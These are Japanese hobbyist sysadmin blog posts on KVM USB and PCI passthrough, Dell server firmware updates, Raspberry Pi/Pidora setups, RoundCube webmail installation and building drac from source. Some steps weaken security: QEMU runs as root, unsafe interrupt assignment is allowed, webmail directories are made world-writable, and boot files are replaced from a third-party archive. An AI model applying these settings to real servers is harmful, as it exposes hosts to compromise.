> LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin QEMU_AUDIO_DRV=none /usr/bin/qemu-kvm -name livecam-server -S -M pc-1.2 -enable-kvm -m 1024 -smp 1,sockets=1,cores=1,threads=1 -uuid 298b8f1e-d32e-110e-f47a-1ba92345615b -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/livecam-server.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0×1.0×2 -drive file=/vps/images/livecam-server.img,if=none,id=drive-ide0-0-0,format=raw -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:62:5d:b0,bus=pci.0,addr=0×3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -vnc 0.0.0.0:19,password -k ja -vga cirrus -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0×4 -device usb-ehci,id=ehci -device usb-host,bus=ehci.0,hostbus=2,hostport=2,id=webcam
> Domain id=1 is tainted: high-privileges
> Domain id=1 is tainted: custom-argv
> char device redirected to /dev/pts/1
> husb: open /dev/bus/usb/002/001: Operation not permitted

となり、

> husb: open /dev/bus/usb/002/001: Permission denied

から

> husb: open /dev/bus/usb/002/002: Operation not permitted

になった。

rootで動かしても「Operation not permitted」だからなぁ…

と、ここで詰まりつつ数日もがいてると、

https://www.centos.org/modules/newbb/viewtopic.php?topic_id=32889&forum=38

…ふむふむ、な、なんだと?

> I added my USB device path to the whitelist in /etc/libvirt/qemu.conf.
>
> BEFORE
>
> #cgroup_device_acl = [
> # "/dev/null", "/dev/full", "/dev/zero",
> # "/dev/random", "/dev/urandom",
> # "/dev/ptmx", "/dev/kvm", "/dev/kqemu",
> # "/dev/rtc", "/dev/hpet", "/dev/net/tun",
> #]
>
>
> AFTER
>
> cgroup_device_acl = [
> "/dev/null", "/dev/full", "/dev/zero",
> "/dev/random", "/dev/urandom",
> "/dev/ptmx", "/dev/kvm", "/dev/kqemu",
> "/dev/rtc", "/dev/hpet", "/dev/net/tun",
> "/dev/bus/usb/008/001",
> ]
>
> Then restart libvirtd.
>
> service libvirtd restart
>
> Note, I did not change the user, group, and dynamic values from the defaults in the qemu.conf file.

ほほう、というわけで、

emacs /etc/libvirt/qemu.conf

----------
:
# This is the basic set of devices allowed / required by
# all virtual machines.
#
# As well as this, any configured block backed disks,
# all sound device, and all PTY devices are allowed.
#
# This will only need setting if newer QEMU suddenly
# wants some device we don’t already know about.
#
#cgroup_device_acl = [
#    "/dev/null", "/dev/full", "/dev/zero",
#    "/dev/random", "/dev/urandom",
#    "/dev/ptmx", "/dev/kvm", "/dev/kqemu",
#    "/dev/rtc","/dev/hpet"
#]
cgroup_device_acl = [
"/dev/null", "/dev/full", "/dev/zero",
"/dev/random", "/dev/urandom",
"/dev/ptmx", "/dev/kvm", "/dev/kqemu",
"/dev/rtc","/dev/hpet",
"/dev/bus/usb/002/002"
]
:
----------

service libvirtd restart; tail -f /var/log/messages

してからVMを再起動すると?

virsh start livecam-server ; tail -f /var/log/libvirt/qemu/livecam-server.log

> 2013-04-03 03:01:23.519+0000: starting up
> LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin QEMU_AUDIO_DRV=none /usr/bin/qemu-kvm -name livecam-server -S -M pc-1.2 -enable-kvm -m 1024 -smp 1,sockets=1,cores=1,threads=1 -uuid 298b8f1e-d32e-110e-f47a-1ba92345615b -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/livecam-server.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0×1.0×2 -drive file=/vps/images/livecam-server.img,if=none,id=drive-ide0-0-0,format=raw -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:62:5d:b0,bus=pci.0,addr=0×3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -vnc 0.0.0.0:19,password -k ja -vga cirrus -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0×4 -device usb-ehci,id=ehci -device usb-host,bus=ehci.0,hostbus=2,hostport=2,id=webcam
> Domain id=1 is tainted: high-privileges
> Domain id=1 is tainted: custom-argv
> char device redirected to /dev/pts/1
> husb: open /dev/bus/usb/002/001: Operation not permitted

…ありゃおなじだ。

実は、WEBCAMは

> Bus 002 Device 002: ID 0603:8122 Novatek Microelectronics Corp.

ではなくて、

dmesg | grep webcam -i

> [    2.796664] usb 2-5: Product: BUFFALO BSWHD01 Webcam
> [    8.133352] uvcvideo: Found UVC 1.00 device BUFFALO BSWHD01 Webcam (0603:8122)
> [    8.155895] input: BUFFALO BSWHD01 Webcam as /devices/pci0000:00/0000:00:1d.7/usb2/2-5/2-5:1.0/input/input5

で見るとわかるが、2-5につながっている…ので、qemuのcgroupの方はそのままだけど、VMのxmlの方は

emacs /vps/conf/livecam-server.xml

----------
<domain type=’kvm’ xmlns:qemu=’http://libvirt.org/schemas/domain/qemu/1.0′>
:
:
<qemu:commandline>
<qemu:arg value=’-device’/>
<qemu:arg value=’usb-ehci,id=ehci’/>
<qemu:arg value=’-device’/>
<qemu:arg value=’usb-host,bus=ehci.0,hostbus=2,hostport=5,id=webcam’/>
</qemu:commandline>
</domain>
----------

service libvirtd restart; tail -f /var/log/messages

してからVMを再起動すると?

virsh start livecam-server ; tail -f /var/log/libvirt/qemu/livecam-server.log

> 2013-04-03 03:06:11.353+0000: starting up
> LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin QEMU_AUDIO_DRV=none /usr/bin/qemu-kvm -name livecam-server -S -M pc-1.2 -enable-kvm -m 1024 -smp 1,sockets=1,cores=1,threads=1 -uuid 298b8f1e-d32e-110e-f47a-1ba92345615b -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/livecam-server.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0×1.0×2 -drive file=/vps/images/livecam-server.img,if=none,id=drive-ide0-0-0,format=raw -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:62:5d:b0,bus=pci.0,addr=0×3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -vnc 0.0.0.0:19,password -k ja -vga cirrus -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0×4 -device usb-ehci,id=ehci -device usb-host,bus=ehci.0,hostbus=2,hostport=5,id=webcam
> Domain id=1 is tainted: high-privileges
> Domain id=1 is tainted: custom-argv
> char device redirected to /dev/pts/1
> husb: open /dev/bus/usb/002/001: Operation not permitted

あら?かわらないし、ゲストOS側でも認識していない。

…実はこれは、ホストOS側でuvcvideoがWEBCAMをがっちりと握ってしまっているから。

lsmod | grep uvc

> uvcvideo               80924  0
> videobuf2_vmalloc      13163  1 uvcvideo
> videobuf2_core         38816  1 uvcvideo
> videodev              120947  2 uvcvideo,videobuf2_core
> media                  20444  2 uvcvideo,videodev

なので、ホストOS側で

emacs /etc/modprobe.d/blacklist.conf

----------
:
# Webcam not Catch
blacklist uvcvideo
----------

を追記するなりして握らないようにしてから、

service libvirtd restart; tail -f /var/log/messages

してからVMを再起動すると?

virsh start livecam-server ; tail -f /var/log/libvirt/qemu/livecam-server.log

> 2013-04-03 03:08:56.539+0000: starting up
> LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin QEMU_AUDIO_DRV=none /usr/bin/qemu-kvm -name livecam-server -S -M pc-1.2 -enable-kvm -m 1024 -smp 1,sockets=1,cores=1,threads=1 -uuid 298b8f1e-d32e-110e-f47a-1ba92345615b -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/livecam-server.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0×1.0×2 -drive file=/vps/images/livecam-server.img,if=none,id=drive-ide0-0-0,format=raw -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:62:5d:b0,bus=pci.0,addr=0×3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -vnc 0.0.0.0:19,password -k ja -vga cirrus -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0×4 -device usb-ehci,id=ehci -device usb-host,bus=ehci.0,hostbus=2,hostport=5,id=webcam
> Domain id=1 is tainted: high-privileges
> Domain id=1 is tainted: custom-argv
> char device redirected to /dev/pts/1
> husb: open /dev/bus/usb/002/001: Operation not permitted

と、あんまり見たくないメッセージだけど…

ゲストOS(VM)側で

lsusb

とすると、

> Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
> Bus 001 Device 002: ID 0603:8122 Novatek Microelectronics Corp.
> Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

ついでに

dmesg

> [    3.170635] Linux video capture interface: v2.00
> [    3.200426] uvcvideo: Found UVC 1.00 device BUFFALO BSWHD01 Webcam (0603:8122)
> [    3.230386] input: BUFFALO BSWHD01 Webcam as /devices/pci0000:00/0000:00:05.0/usb1/1-1/1-1:1.0/input/input4
> [    3.230449] usbcore: registered new interface driver uvcvideo
> [    3.230545] USB Video Class driver (v0.1.0)

キタ――(゜∀゜)――!!

ちなみに、qemuの動作権限をrootでなくすと、やっぱり「Permission denied」になる。

まぁこれは

/dev/bus/usb/002/001
/dev/bus/usb/002/002

とかのパーミッションを664から666にするか、それともrootのままでいくか、
どっちにしてもどっちかがセキュリティレベルが変化するのであれかなぁ?

で、ちゃんと

□RaspberryPiというかRaspbianで動くWebCAM監視カメラ(ライブカメラ)

を参考にfswebcamとかで写真を撮ったら、ばっちりでした。

apt-cache search vlgothic
apt-get -y install ttf-vlgothic
apt-get -y install fswebcam

インストールできたら早速キャプチャしてみる。

fswebcam -d /dev/video0 \
-p YUYV -D 2 -S 16 -r 640×480 \
–jpeg 75 –line-colour ‘#FF000000′ \
–text-colour ‘#40FFFFFF’ –banner-colour ‘#FF000000′ \
–title “漢字も打てますよ” \
–font “/usr/share/fonts/truetype/vlgothic/VL-PGothic-Regular.ttf:12″ \
/var/tmp/output.jpg

わーい。

今回のUSB2.0のパススルーをするポイントは

・カーネルオプションintel_iommu=onは関係ない(なくてもOK)
・QEMU-KVMのバージョンは1.xに(Fedora18は現時点で1.2.0)
・VMのdomainタグにはオプションが必要
・EHCIの認識はQEMUのコマンドラインオプションとして渡す
・USB2.0デバイスのhostbus/hostportはlsusbでなくdmesgで
・QEMUはroot/rootで動かすこと
・ホストOS側でそのデバイスを握っていてはいけない

でした。

さて、自宅サーバーをVM化して一台にまとめようっと。

以下余談…

DELL Optiplex 780(SFF)にまとめる予定ですが、これ4GB-DIMMモジュールが
刺さりますので、メーカーは最大8GBといってますけど、16GBまでいけます。

 

□Fedora18のQEMU-KVMでPCIパススルーではまった

$
0
0

先日、『□Fedora18+QEMU-KVMでのUSBパススルー』でWEBCAMのパススルーが
うまくいったあと、何かの拍子にホストOS側のIntel HD AudioのPCIパススルー
もうまくいったので、よかったよかったと思っていたのだけど、先日yum update
したらlibvirtとqemu周りをバージョンアップされて、PCIパススルーができなく
なってしまった。

もう、今まで何度か再起動しても動いていたものが動かなくなってしまったので
困り果てること数時間。ふとdmesgを見てみたら

> [ 435.135359] pci-stub 0000:00:1b.0: claimed by stub
> [ 435.210033] device vnet0 entered promiscuous mode
> [ 435.215064] br0: port 2(vnet0) entered forwarding state
> [ 435.215096] br0: port 2(vnet0) entered forwarding state
> [ 435.868082] kvm_iommu_map_guest: No interrupt remapping support, disallowing device assignment. Re-enble with “allow_unsafe_assigned_interrupts=1″ module option.
> [ 435.869284] br0: port 2(vnet0) entered disabled state
> [ 435.870192] device vnet0 left promiscuous mode
> [ 435.870217] br0: port 2(vnet0) entered disabled state

というのがVMの起動のたびにでてきてた。

> allow_unsafe_assigned_interrupts=1

ってどこにいれたらいいの? qemu.confではないみたい…あ、grub?と思いつつ
何度も再起動とVMの起動を繰り返すけど違った。

で、ぐるぐるうろうろしていたら

http://forum.proxmox.com/threads/7534-PCI-Passthrough-No-interrupt-remapping-support

でモジュールのオプションに追加しろ、となっていた。

cat > /etc/modprobe.d/kvm_iommu_map_guest.conf

options kvm allow_unsafe_assigned_interrupts=1

で、再起動してVM起動したら…いけたー!!

もう、このネタは最初にいろいろ試してできてなかったときにもやったけど、
関係なかったのではずしたのに、またやれとでてきた。

頭にきたので夜中なのにもかかわらず一通りのオプションの確認をした。

カーネルオプション(grub)での

> pci=resource_alignment=00:1b.0

は要らない。

moduleのブラックリスト

blacklist snd_hda_intel
blacklist snd-usb-audio

blacklist uvcvideo

これも要らない。

要るのは、

・カーネルオプション(grub)での

intel_iommu=on

・qemu.confでの

user=”root”
group=”root”
clear_emulator_capabilities = 0
cgroup_device_acl = [
"/dev/null", "/dev/full", "/dev/zero",
"/dev/random", "/dev/urandom",
"/dev/ptmx", "/dev/kvm", "/dev/kqemu",
"/dev/rtc","/dev/hpet",
"/dev/bus/usb/002/002",
"/dev/bus/usb/002/003",
"/dev/bus/usb/006/002"
]

くらいか。clear_emulator_capabilities = 0も要らないかもなー。

ま、もっともこの辺の設定もまたバージョンアップしたら変わるかも…ひぃぃぃ

 

□DELL PowerEdge R610のBIOSとかのUpdate -CentOS 6.4/i386で-

$
0
0

□DELL PowerEdge R610のBIOSとかのUpdate -CentOS 6.4/i386で-

参考 http://marksallee.wordpress.com/2011/08/18/using-dell-suu-server-update-utility/

CentOS 6.4/i386で、実行する。

・java(openjdkでOK)がなければインストールする
・wgetがなければインストールする
・xtermがなければインストールする
・必要なソフトをインストール

yum -y install glibc.i386 compat-libstdc++.i386 libstdc++.i386 \
zlib.i386 libxml2.i386 libXp.i386 libXtst.i386 ncurses-libs pam.i386 procmail

・SUUのISOイメージ(7GB!?)を取ってきてUSBなりに焼いてマウントする

・そしてその中に入って、実行…の前にinvcolの動作確認。

cd /media/SUU-???/
./bin/Linux/invcol

→エラーとなったら、libstdc++.so.5(32bit版)をインストール

yum -y install compat-libstdc++-33.i686

動作がOKとなったら

・あらためて、実行

/bin/sh ./autorun.sh

起動し終わるまでにかなりの時間がかかるが気長に待つ。

ちなみに

./suu -c

./suu -u

といったコマンドラインでやってもいい、というかこっちの方が軽い。

#Fedoraは公式に非サポートと謳ってるらしい!?
#CentOSのx86_64(64bit版)に入れると、参考サイトのようにしても
X起動時に怒られてシステムを継続して利用できない…CLIベース
にすればいいのかも?でも面倒なので↓の通り。
#まあBIOSとかのアップデートは32bit版でやった方がいいね!?
#iDRACのFlashが死んでる?らしく、これのVerUPはあきらめて再度ポチッた

追伸:

ブート時にSystem Serviceを起動してUEFIの方からネットワーク越しに
バージョンアップしようとしてもLifeCycle Controllerが古いと出来ない
場合がある。これを最新にするとSystem ServiceからUEFIに行って、
そこでVerUPできた。./suu -uでバージョンアップしてもさらに最新の
ものがある可能性が高いので、結局手間だけどこの手順(./suuした後に
SystemServiceからVerUP)は踏んで行った方がいいかも。

□PidoraをFlashAirに入れてブートディスクにしてみた #FlashAir

$
0
0

 

□PidoraをFlashAirに入れてブートディスクにしてみた

FlashAirは、我が国が誇る一流メーカー東芝が開発した、無線LAN内蔵の
SDHCカードで、最も速いカードでClass10対応となっている。
http://www.toshiba.co.jp/p-media/flashair/

こんな薄いカードのどこに無線LANが入っているのかが不思議だが、詳細
は他の解説に任せるとして、このFlashAirにPidoraを焼き焼きしつつ、
普通にFlashAir本来のWiFiで中身にアクセスできるようにしてみた。

RaspberryPi用のOSで、先頭のパーティションがVFATとかFATになっている
モノであれば、そのパーティションを広げてあげればたいていはOKとなる。

ただしこの改造をしたFlashAirをデジカメでも使う場合には、デジカメが
ファイルシステムを手抜きで操作している場合などは、ことごとく中身を
ぶっ壊してくれると思うので、そのような場合にはいかんともしがたいと
おもいます。

ちなみに以下の作業をするとメーカー補償はもちろん受けられなくなると
思いますので、自己責任でお願いします。

手順としては

・Gpartedとかが入っていてSDHCの読み書きが出来るLinuxマシンを用意する
・FlashAirを用意して、まずはGparted等で既存パーティションを縮小する
・縮小したFlashAirのパーティションをdd等でイメージとして吸い出す
・PidoraイメージをFlashAirにdd等で焼きこみ、起動することを確認する
・Pidoraの第一パーティションのデータをLinuxマシンに待避させる
・Pidoraの第二パーティションを後ろにずらし、第一パーティションを再度作成
・FlashAirパーティションを第一パーティションにdd等で戻す
・第一パーティションを広げて、Pidoraのデータを戻す

です。

最終的に第一パーティションはPidoraとFlashAirの混在となるので見た目が
ばっちいけど、動けばOK。笑

○実際の作業

・Gpartedとかが入っていてSDHCの読み書きが出来るLinuxマシンを用意する

自分はいつも使っているLet’sNoteにVineLinux6を入れているので、難しい
ことはせずとも本体のSDHCスロットで作業しました。

・FlashAirを用意して、まずはGparted等で既存パーティションを縮小する

あとでまた広げればいいだけの話なので出来るだけ小さいサイズでいいと
おもいます。ちなみに自分は32GBのFlashAirの中のパーティションを4GBに
しましたが、1GB以下でもいいかも?

Gpartedの使い方はぐぐってくださいね。

・縮小したFlashAirのパーティションをdd等でイメージとして吸い出す

dd if=/dev/mmcblk0p1 of=/tmp/FlashAir.img bs=64M

として、/tmp/ 以下に、1GBまで小さくしたパーティションイメージをddで
吸い出します。/dev/mmcblk0p1としてパーティションを指定しています。

・PidoraイメージをFlashAirにdd等で焼きこみ、起動することを確認する

とりあえず今回は自分で公開しているMyDNS.JPのIPアドレス通知装置のイメージ
(Pidora)を焼き焼きしてみます。

http://sourceforge.jp/projects/mydnsjp-adapter/releases/?package_id=13939

焼き焼きするのはddでもできます。

dd if=mydns-adapter-pidora18rc2.img of=/dev/mmcblk0 bs=64M

これはパーティションを含んだSDHCのディスクイメージそのものですので、
/dev/mmcblk0に対してddします。

で、焼き焼きできたら実際にRaspberryPiにFlashAirを刺して起動すればOK。

では再びVineLinux等のLinuxマシンにこのSDHCカードを戻して次の作業をする。

・Pidoraの第一パーティションのデータをLinuxマシンに待避させる

Linuxマシンのどこかに一時的にPidoraの第一パーティションのデータを待避
させる。

mkdir /tmp/Pidora_mmcblk0p1/
cd (Pidoraの第一パーティションに当たるディレクトリ※)
tar cpf – ./ | tar xvpf – -C /tmp/Pidora_mmcblk0p1/

・Pidoraの第二パーティションを後ろにずらし、第一パーティションを再度作成

Gpartedなどで第二パーティションを後ろにずらして、前方に空き領域を作って、
どうせ第一パーティションは上書きするので一度削除して作り直せばOK。

ただし、第一パーティションの前方には4MiBの空きスペースを残すこと。
(FlashAirの32GB版SDHCカードはそれだけ空いていたので…他のはどうかな?)

・FlashAirパーティションを第一パーティションにdd等で戻す

前項で作った新生第一パーティションにFlashAirパーティションをddで戻す。

dd if=/tmp/FlashAir.img of=/dev/mmcblk0p1 bs=64M

・必要に応じて第一パーティションを広げて、Pidoraのデータを戻す

Gpartedなどで第一パーティションを必要に応じて広げる。

上の例の通りにやっているなら、第一パーティションをマウントしなおして

cd /tmp/Pidora_mmcblk0p1/
tar cpf – ./ | tar xvpf – -C /(第一パーティションをマウントしたディレクトリ)/

として戻して、再びRaspberryPiに刺して起動すればOK。

またデジカメに刺してちゃんと写真とかがDCIMディレクトリに保存されればOK。
(まぁここまでやったらデジカメでは使わないと思うけど…)

コマンドその他の操作は皆さんの環境に合わせて読み替えてください。

 

※Gpartedの操作の際にはFlashAirをアンマウントする必要があるけどいちいち書いてない
※VineLinuxの場合、一般ユーザーでログインした状態だとrootでないからとあれこれ怒られる場合があるから注意

 


□Pidora(Raspberry Pi)でカメラモジュールを使う

$
0
0

□Pidora(Raspberry Pi)でカメラモジュールを使う

http://www.raspberrypi.org/phpBB3/viewtopic.php?f=51&t=45329
http://arms22.blog91.fc2.com/blog-entry-526.html

要はカーネルを入れ替えないといけないということらしい

yum install -y raspberrypi-vc-*

で、必要なツールをインストールしつつ、

mkdir /usr/src/package
cd /usr/src/package
wget http://larskiesow.de/pyCA/piCA/downloads/pidora-boot-for-camera.tar.gz
cd /usr/src/
tar xvzf package/pidora-boot-for-camera.tar.gz

カメラ対応のカーネルを取ってきて

mkdir /tmp/boot-backup
cp -r /boot/* /tmp/boot-backup/
rm -rf /boot/*
cp -r boot/* /boot/

ブート関係のファイルを差し替えたらOK…とか。

ちなみに写真は取れたけど

蛍光灯 800×600 Q=75
raspistill -awb fluorescent -w 800 -h 600 -q 75 -o /tmp/image.jpg

動画は…?

raspivid -o /tmp/video.mov

なぜかうまく取れない…なんで?

□RaspberryPi/PidoraでPiCamを使う方法

$
0
0

衝撃の事実!?

なぜここまで情報がないのだろう?PidoraはFedoraベースなので、CentOS とか、それこそFedoraとかに慣れている人からすると、すごい使いやすい (いやいや、systemctlになっちゃってるし、とかは置いといて)はずなのに、 とかくPiCam(RaspberryPi専用カメラ)に関する情報が全くない。

確かにぐぐってみても、PiCamといえばRaspbian一拓、という感じで情報が なにもなかったり、/boot/以下を一式入れ替えろというパッケージが独り 歩きしていたり、とにかく「PidoraでPiCam?”`,、(‘∀`) ‘`,、」って感じ で非常に残念。

で、書く言う自分もカーネルとかその辺からひとしきりいじればいいのかな と、エミュレーション環境とかカールロスコンパイルまでしてあれこれして みたのですが、実際のところカーネルを入れ替えてもダメでそれに付随する 「start_x.elfとfixup_x.dat」あたりがポイントらしい、というところまで 判ったところで「んー…」となってました。

で、Pidora開発元も何もしていないわけではなく、Pidoraサイトの麹を見る 限りではfedora20とかもベースに開発は継続しているみたい。(RaspberryPi 本家の掲示板では「もうPidoraは死んでいる」とか言われてた時期もあった みたいだけど)

で、yum -y updateすると、PiCamに必要なライブラリなども更新されるし、 前述のようにPiCamに必要なファイルもわかったところで、初心に戻って

cat >> /boot/config.txt
start_x=1
gpu_mem=128

とだけてみたら…あっさり動作。

みなさーん、PidoraでもPiCamふつーに動きますよー。

(omxplayerはないけど)

あ、みんな知ってた?こりゃまた失礼。:-)

※gpu_mem=128を書かなくても静止画だけは取れます。  動画を撮影しようとすると「64MBじゃダメだよ」と怒られます。

□RoundCubeでWebMail(Vine6)

$
0
0

ふとしたことからRoundCubeを改めてインストールしたのでメモ。
かなりUIが洗練されてクールになってました。

http://roundcube.net/

↑ここに基本的なことは全て書いてある

このWebMailはMySQL対応なので、入っているとは思うけど

apt-get -y install MySQL-server MySQL-client MySQL-devel php5-mysql

はインストールすること。

肝心のRoundCubeはTARボールから展開。

cd /usr/src/package/
wget http://sourceforge.net/projects/roundcubemail/files/roundcubemail-beta/1.0-RC/roundcubemail-1.0-rc.tar.gz/download
mv /usr/src/package/download /usr/src/package/roundcubemail-1.0-rc.tar.gz

で、展開

cd /var/
tar xvzf /usr/src/package/roundcubemail-1.0-rc.tar.gz
mv ./roundcubemail-1.0-rc ./roundcube

展開されたディレクトリを見てみると

# ls -al ./roundcube
合計 236
drwxr-xr-x 11 501 80 4096 1月 31 21:28 ./
drwxr-xr-x 26 root root 4096 3月 12 13:11 ../
-rw-r–r– 1 501 80 1573 1月 31 21:28 .htaccess
-rw-r–r– 1 501 80 109015 1月 31 21:28 CHANGELOG
-rw-r–r– 1 501 80 9013 1月 31 21:28 INSTALL
-rw-r–r– 1 501 80 35147 1月 31 21:28 LICENSE
-rw-r–r– 1 501 80 3757 1月 31 21:28 README.md
drwxr-xr-x 6 501 80 4096 3月 12 13:10 SQL/
-rw-r–r– 1 501 80 2832 1月 31 21:28 UPGRADING
drwxr-xr-x 2 501 80 4096 3月 12 13:10 bin/
-rw-r–r– 1 501 80 381 1月 31 21:28 composer.json-dist
drwxr-xr-x 2 501 80 4096 3月 12 13:10 config/
-rw-r–r– 1 501 80 12910 1月 31 21:28 index.php
drwxr-xr-x 3 501 80 4096 3月 12 13:10 installer/
drwxr-xr-x 2 501 80 4096 3月 12 13:10 logs/
drwxr-xr-x 33 501 80 4096 3月 12 13:10 plugins/
drwxr-xr-x 8 501 80 4096 3月 12 13:10 program/
-rw-r–r– 1 501 80 26 1月 31 21:28 robots.txt
drwxr-xr-x 4 501 80 4096 3月 12 13:10 skins/
drwxr-xr-x 2 501 80 4096 3月 12 13:10 temp/

となっているので、この中のlogsとtempを誰でもかけるように
パーミッション変更

chmod 777 /var/roundcube/logs/ /var/roundcube/temp/

WEBMAILのURLは、ここ(/var/roundcube/)がトップページとなるように設定。

つづいてデータベースの設定。

mysql -u root -p

CREATE DATABASE roundcubemail;
GRANT ALL PRIVILEGES ON roundcubemail.* TO username@localhost IDENTIFIED BY ‘password’;
FLUSH PRIVILEGES;
EXIT

として、データベースの作成とユーザー(もちろんusername, passwordは
変更すること)の登録をする。

そしたらあとは、このRoundCubeディレクトリへのURLの下のinstaller/に
アクセスして設定する。

http://(roundcubeをインストールしたURL)/installer/

あとは一通りチェックしていけばよい。

自分は

db_prefix rq_

sent_mbox .sent-mail
trash_mbox .Trash
drafts_mbox .Draft
junk_mbox .Junk

smtp_port 587
smtp_user/smtp_pass レUse the current IMAP username and password for SMTP authentication

この辺をいじってみた。

これで設定を生成すると/var/roundcube/config/にアップロードしろ、とでるので

cat > /var/roundcube/config/config.inc.php

で流し込み。

チェックでmime.typesがNOT OKになってしまったので、

emacs /var/roundcube/config/config.inc.php

----------
$config['mime_types'] = ‘/var/roundcube/config/mime.types’;

?>
----------

を最後に追記して、

cd /var/roundcube/config
wget http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types

した。

これで設定を生成すると
/var/roundcube/config/にアップロードしろ、とでるのですること。

必要に応じてSMTPとIMAPのテストをして、OKならこの installer/自体を
ばっさり削除すればOK。

で、あとはhttp://(roundcubeをインストールしたURL)/にあくせすすれば、
RoundCubeを使えるようになる。

 

□CentOS6でdrac(POP befor SMTP)

$
0
0

かなしいかな、CentOS6にはdracがない。(いやもういいでしょ、POP befor SMTPなんて、というのはおいといて)
あっちこっちからぱくってこようと思ったけど、結局はCentOS6でのdb4のバージョンが古いために、ソースからゴリゴリしないとだめ。

 
cd /usr/src/package
wget ftp://ftp.cc.umanitoba.ca/src/drac.tar.Z

cd /usr/src/
mkdir dracd
cd dracd/
tar xvzf ../package/drac.tar.Z

で、rpc.dracd.c を

----------
	:
	:
// 2013.01.22 T.Kabu
//long explimit = 30 * 60;      /* expiry limit (seconds) */
long explimit = 90 * 60;        /* expiry limit (seconds) */
	:
	:
	:
/* Parse command-line options */
main(argc, argv) int argc; char **argv; {
    int c;
    extern char *optarg;
    extern int optind;

    while ((c = getopt(argc, argv, "ie:")) != EOF) {
        switch (c) {
          case 'i':
            initdb = 1;
            break;
          case 'e':
            explimit = atoi(optarg) * 60;
            break;
          case '?':
            fprintf(stderr, "Usage: %s [-i] [-e expire] [dbfile]\n",
                    argv[0]);
            exit(2);
        }
    }
    // 2013.01.22 T.Kabu
    fprintf(stderr, "rpc.dracd initdb=%d explimit=%d\n", initdb, explimit);
    if ( optind < argc ) dbfile = argv[optind];
    dracmain();         /* the main function from rpcgen */
    exit(1);
}
----------

emacs ./Makefile

----------
###INSTALL = /usr/ucb/install
###EBIN = /usr/local/sbin
###MAN = /usr/local/man/man
INSTALL = install
EBIN = /usr/sbin
MAN = /usr/share/man/
	:
	:
###DEFS = -DTI_RPC -DFCNTL_LOCK -DSYSINFO
DEFS = -DSOCK_RPC -DFCNTL_LOCK -DGETHOST -DDASH_C

# Compiler flags
###CC = cc
CC = gcc
RANLIB = :
###CFLAGS = $(DEFS) -g -I/usr/local/src/db/db-4.1.25/build_unix
#CFLAGS = $(DEFS) -g -I/usr/local/src/db/db-3.1.17/build_unix
#CFLAGS = $(DEFS) -g -I/usr/local/src/db/db-2.4.14/Unix
#CFLAGS = $(DEFS) -g -I/usr/local/src/db/db.1.85/PORT/sunos.5.2/include
CFLAGS = $(DEFS) -g -fPIC
###LDLIBS = -L/usr/local/src/db/db-4.1.25/build_unix -lnsl -ldb-4.1
#LDLIBS = -L/usr/local/src/db/db-3.1.17/build_unix -lnsl -ldb
#LDLIBS = -L/usr/local/src/db/db-2.4.14/Unix -lnsl -ldb
#LDLIBS = -L/usr/local/src/db/db.1.85/PORT/sunos.5.2 -lnsl -ldb
LDLIBS = -ldb
###TSTLIBS = -L. -ldrac -lnsl
TSTLIBS = -L. -ldrac
###RPCGENFLAGS =
#RPCGENFLAGS = -C
RPCGENFLAGS = -C -I
# Man sections
###MANLIB = 3
###MANADM = 1m
MANLIB = 3
MANADM = 8
----------

※CFLAGSに-fPICをつけないと、このあとのプラグイン生成で怒られる。:-P

のようにしたら

make
make install
make install-man
cp drac.h /usr/include/
cp libdrac.a /usr/lib64
ldconfig
mkdir /etc/mail

これだけではdrac_plugin.soがないので、作らないといけない

http://www.designet.co.jp/open_source/drac_plugin/

yum -y install dovecot-devel db4-devel

すると、/usr/include/dovecot などができる。

cd /usr/src/package
wget “http://sourceforge.jp/frs/redir.php?m=jaist&f=%2Fdovecot2-drac%2F53176%2Fdovecot2-drac-0.1.tar.gz”
mv redir.php\?m\=jaist\&f\=%2Fdovecot2-drac%2F53176%2Fdovecot2-drac-0.1.tar.gz dovecot2-drac-0.1.tar.gz
